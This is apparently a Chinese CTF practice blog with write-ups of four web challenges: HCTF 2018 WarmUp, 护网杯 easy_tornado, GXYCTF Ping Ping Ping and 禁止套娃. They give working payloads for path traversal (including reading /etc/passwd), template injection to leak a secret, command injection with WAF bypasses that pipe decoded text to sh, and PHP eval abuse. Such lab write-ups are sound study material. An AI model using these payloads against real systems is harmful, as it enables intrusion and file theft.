buuoj日记-1

HCTF 2018 WarmUp,护网杯 2018 easy_tornado,GXYCTF2019 Ping Ping Ping,GXYCTF2019 禁止套娃

HCTF 2018 WarmUp

分析:

首先F12看源码,得到hint:source.php

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
	 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

猜测是一个文件包含,但是尝试了各种读源码的协议,无果。又得到提示hint.php得到hint2:flag not here, and flag in ffffllllaaaagggg

看源码,传入一个参数file,一共有三个条件,只要满足一个即可

(1)page 在 白名单中,为source.php或者hint.php

(2)传入一个参数 x?y,x在白名单中

(3)传入一个参数urlencode(x)?y,urlencode(x)在白名单中

那这里应该是一个路径穿越漏洞

构造payload:

source.php?file=source.php?/../../../../../etc/passwd

可以得到password,最后构造

source.php?file=source.php?/../../../../../../../../ffffllllaaaagggg

得到flag

ps:

这里是phpMyAdmin的一个洞CVE-2018-12613

这里和洞还有一点区别,在洞里面需要先把?转为%25%31方能完成路径穿越漏洞。

护网杯 2018 easy_tornado

分析:

得到三个文件

(1)flag.txt flag in /fllllllllllllag 提示了flag的位置

(2)welcome.txt render 提示用到了render函数,猜想应该是SSTI模板注入

(3)hints.txt md5(cookie_secret+md5(filename))

跳转为file?filename=/hints.txt&filehash=f216e383fe7945b8bb1844dd7c3da939,所以我们需要构造:

file?filename= /fllllllllllllag&hash=x ,x=md(cookie_secret+md5(‘f216e383fe7945b8bb1844dd7c3da939’))所以这里我们需要cookie_secret

测试以后发现如果失败跳转error?msg=Error,这里存在模板注入,根据题目名字提示,tornado,在tornado中,cookie_secret在Application对象settings属性中,而self.application.settings有一个别名为RequestHandler.settings而当前的指针RequestHandler对象为handler,所以self.application.setting在此处可以表示为handler.settings

输入

error?msg=

得到

cookie_secret为c5f53ae2-73b2-4ad4-a994-edcc6e7d73ff

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import hashlib
import requests

def md5(x):
a = hashlib.md5()
a.update(x.encode())

return a.hexdigest()

url = "http://a2a6348f-8261-439e-9894-94f2b656d988.node3.buuoj.cn/file"

cookie_secret = 'c5f53ae2-73b2-4ad4-a994-edcc6e7d73ff'
path = '/fllllllllllllag'

filehash = md5(cookie_secret + md5(path))


params = {
'filename': path,
'filehash': filehash
}

response = requests.get(url, params=params)
response.encoding = 'utf-8'

print(response.text)

得到flag

ps:

GXYCTF2019 Ping Ping Ping

分析:

又是一个ping功能的网站

输入ip=127.0.0.1;ls

1577598250575

成功

输入ip=127.0.0.1;cat flag.php

img

被waf挡下

输入ip=127.0.0.1;cat$IFSflag.php

被waf挡下

可以推断本题有两个waf,过滤了flag,经过fuzz以后发现过滤了%00-%32,特殊符号

payload

本题有很多的解法:

(1)利用base64

1
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

(2)利用命令拼接

1
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

(3)利用”`”命令执行符号

1
?ip=127.0.0.1;cat$IFS$9`ls`

GXYCTF2019 禁止套娃

分析:

首先扫描了一下,发现有git源码泄露整出来index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) {
// echo $_GET['exp'];
eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

又是一个套娃的题目

首先要构造出”.”有一个通用的pos(localeconv()的值就是”.”

输入payload:

?exp=print_r(scandir(pos(localeconv())));

成功,但是flag.php在倒数第二个,无法使用next函数,所以这里先使用array_reverse函数把数组反转之后,在使用next函数,再使用file函数读取,payload如下

?exp=print_r(file(next(array_reverse(scandir(pos(localeconv()))))));

ps: